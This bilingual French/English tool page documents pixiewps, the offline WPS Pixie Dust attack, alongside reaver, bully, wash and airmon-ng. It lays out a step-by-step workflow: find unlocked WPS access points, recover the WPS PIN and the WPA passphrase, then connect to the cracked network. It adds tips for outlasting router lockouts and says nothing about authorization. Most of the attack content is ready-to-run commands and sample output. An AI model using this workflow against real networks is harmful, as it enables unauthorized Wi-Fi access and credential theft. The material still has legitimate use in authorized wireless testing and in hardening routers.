← retour aux outils back to tools

# pixiewps

Outil d'attaque WPS Pixie Dust hors ligne. Exploite une génération de nombres pseudo-aléatoires faible dans certaines implémentations WPS pour récupérer le PIN WPS hors ligne en quelques secondes. Offline WPS Pixie Dust attack tool. Exploits weak pseudo-random number generation in some WPS implementations to recover the WPS PIN offline in seconds.

↗ https://github.com/wiire-a/pixiewps

## Overview

pixiewps performs the Pixie Dust attack — an offline WPS PIN recovery technique. Some WPS implementations use predictable random number generation when creating the E-S1 and E-S2 nonces during WPS exchange. pixiewps can compute the correct WPS PIN offline from these captured values, often in seconds.

## How the Attack Works

    Normal WPS PIN brute-force: 11,000 attempts × ~1 second each = ~3 hours

    Pixie Dust attack:
      1. Capture WPS handshake (E-Hash1, E-Hash2, E-S1, E-S2, PSK1, PSK2)
      2. Exploit weak PRNG to compute E-S1 and E-S2 offline
      3. Recover PIN in seconds (instead of hours)

    Works against:
      - Ralink chipsets
      - Broadcom chipsets (some)
      - Realtek chipsets
      - MediaTek chipsets
      Does NOT work against:
      - Qualcomm/Atheros (generally good PRNG)
      - Well-implemented WPS stacks

## Usage with Reaver (Most Common Workflow)

    # pixiewps is usually called automatically by Reaver or Bully
    # --pixie-dust flag triggers Pixie Dust attack:

    reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -vvv -K 1

→ -K 1 = Pixie Dust mode (calls pixiewps internally)

Or with bully:

    bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "SSID" -d

→ -d = Pixie Dust mode

## Standalone pixiewps

If you have the WPS handshake values:

    pixiewps \
      -e <E-Hash1> \
      -r <E-Hash2> \
      -s <E-S1> \
      -z <E-S2> \
      -a <AuthKey> \
      -n <PKR>

Example with known values:

    pixiewps -e abc123... -r def456... -s ghi789... -z jkl012... -a mno345... -n pqr678...

## Capturing WPS Values

Use wash to find WPS-enabled APs

    wash -i wlan0mon

Use Reaver to capture WPS exchange -K 1 passes values to pixiewps automatically

    reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -vvv -K 1

    # Output shows:
    # [Pixie-Dust] E-Hash1: ...
    # [Pixie-Dust] E-Hash2: ...
    # [Pixie-Dust] WPS pin: 12345670
    # [+] WPA PSK: 'MyWifiPassword'

## Full Workflow

    # Step 1: Enable monitor mode
    airmon-ng check kill
    airmon-ng start wlan0

Step 2: Find WPS targets

    wash -i wlan0mon

→ Look for Lck=No (WPS not locked)

Step 3: Pixie Dust attack with Reaver

    reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -vvv -K 1

    # Step 4: If successful, get WPA passphrase
    # [+] WPS PIN: '12345670'
    # [+] WPA PSK: 'SuperSecretPassword'
    # [+] AP SSID: 'HomeNetwork'

    # Step 5: Connect to the network
    wpa_passphrase "HomeNetwork" "SuperSecretPassword" > /etc/wpa_supplicant/conf
    wpa_supplicant -B -i wlan0 -c /etc/wpa_supplicant/conf

## Tips

- Pixie Dust is much faster than full PIN brute-force — always try it first
- Success rate varies by chipset — Ralink and Realtek tend to be most vulnerable
- If target has WPS locked (Lck=Yes), wait — many routers reset the lock after 5-10 minutes
- Use bully instead of reaver for some routers that reaver handles poorly

Help / Man page

    pixiewps [options]

    -e E-Hash1    E-Hash1 from WPS exchange
    -r E-Hash2    E-Hash2 from WPS exchange
    -s E-S1       E-S1 seed (may be zeros)
    -z E-S2       E-S2 seed (may be zeros)
    -a AuthKey    Auth Key
    -n PKR        Registrar's Public Key
    -m E-Nonce    Enrollee nonce
    -t TIMEOUT    Timeout (seconds)
    -v            Verbose
    -Z            Use zero for S1/S2 (some implementations)

## Vue d’ensemble

pixiewps réalise l’attaque Pixie Dust, une technique de récupération hors ligne du PIN WPS. Certaines implémentations WPS utilisent une génération de nombres aléatoires prévisible lors de la création des nonces E-S1 et E-S2 pendant l’échange WPS. pixiewps peut calculer le bon PIN WPS hors ligne à partir de ces valeurs capturées, souvent en quelques secondes.

## Fonctionnement de l’attaque

    Brute-force WPS PIN classique : 11 000 tentatives × ~1 seconde chacune = ~3 heures

    Attaque Pixie Dust :
      1. Capturer le handshake WPS (E-Hash1, E-Hash2, E-S1, E-S2, PSK1, PSK2)
      2. Exploiter un PRNG faible pour calculer E-S1 et E-S2 hors ligne
      3. Récupérer le PIN en quelques secondes (au lieu de plusieurs heures)

    Fonctionne contre :
      - Chipsets Ralink
      - Chipsets Broadcom (certains)
      - Chipsets Realtek
      - Chipsets MediaTek
      Ne fonctionne PAS contre :
      - Qualcomm/Atheros (PRNG généralement de bonne qualité)
      - Les stacks WPS bien implémentées

## Utilisation avec Reaver (workflow le plus courant)

    # pixiewps est généralement appelé automatiquement par Reaver ou Bully
    # le flag --pixie-dust déclenche l'attaque Pixie Dust :

    reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -vvv -K 1

→ -K 1 = mode Pixie Dust (appelle pixiewps en interne)

Ou avec bully :

    bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "SSID" -d

→ -d = mode Pixie Dust

## pixiewps en mode autonome

Si vous disposez des valeurs du handshake WPS :

    pixiewps \
      -e <E-Hash1> \
      -r <E-Hash2> \
      -s <E-S1> \
      -z <E-S2> \
      -a <AuthKey> \
      -n <PKR>

Exemple avec des valeurs connues :

    pixiewps -e abc123... -r def456... -s ghi789... -z jkl012... -a mno345... -n pqr678...

## Capture des valeurs WPS

Utiliser wash pour trouver les AP avec WPS activé

    wash -i wlan0mon

Utiliser Reaver pour capturer l’échange WPS : -K 1 transmet automatiquement les valeurs à pixiewps

    reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -vvv -K 1

    # La sortie affiche :
    # [Pixie-Dust] E-Hash1: ...
    # [Pixie-Dust] E-Hash2: ...
    # [Pixie-Dust] WPS pin: 12345670
    # [+] WPA PSK: 'MyWifiPassword'

## Workflow complet

    # Étape 1 : activer le mode monitor
    airmon-ng check kill
    airmon-ng start wlan0

Étape 2 : trouver des cibles WPS

    wash -i wlan0mon

→ Rechercher Lck=No (WPS non verrouillé)

Étape 3 : attaque Pixie Dust avec Reaver

    reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -vvv -K 1

    # Étape 4 : en cas de succès, récupérer la passphrase WPA
    # [+] WPS PIN: '12345670'
    # [+] WPA PSK: 'SuperSecretPassword'
    # [+] AP SSID: 'HomeNetwork'

    # Étape 5 : se connecter au réseau
    wpa_passphrase "HomeNetwork" "SuperSecretPassword" > /etc/wpa_supplicant/conf
    wpa_supplicant -B -i wlan0 -c /etc/wpa_supplicant/conf

## Conseils

- Pixie Dust est bien plus rapide qu’un brute-force complet du PIN : essayez-le toujours en premier
- Le taux de succès varie selon le chipset : Ralink et Realtek ont tendance à être les plus vulnérables
- Si la cible a le WPS verrouillé (Lck=Yes), patientez : de nombreux routeurs réinitialisent le verrou après 5 à 10 minutes
- Utilisez bully à la place de reaver pour certains routeurs que reaver gère mal

Aide / Page de manuel

    pixiewps [options]

    -e E-Hash1    E-Hash1 from WPS exchange
    -r E-Hash2    E-Hash2 from WPS exchange
    -s E-S1       E-S1 seed (may be zeros)
    -z E-S2       E-S2 seed (may be zeros)
    -a AuthKey    Auth Key
    -n PKR        Registrar's Public Key
    -m E-Nonce    Enrollee nonce
    -t TIMEOUT    Timeout (seconds)
    -v            Verbose
    -Z            Use zero for S1/S2 (some implementations)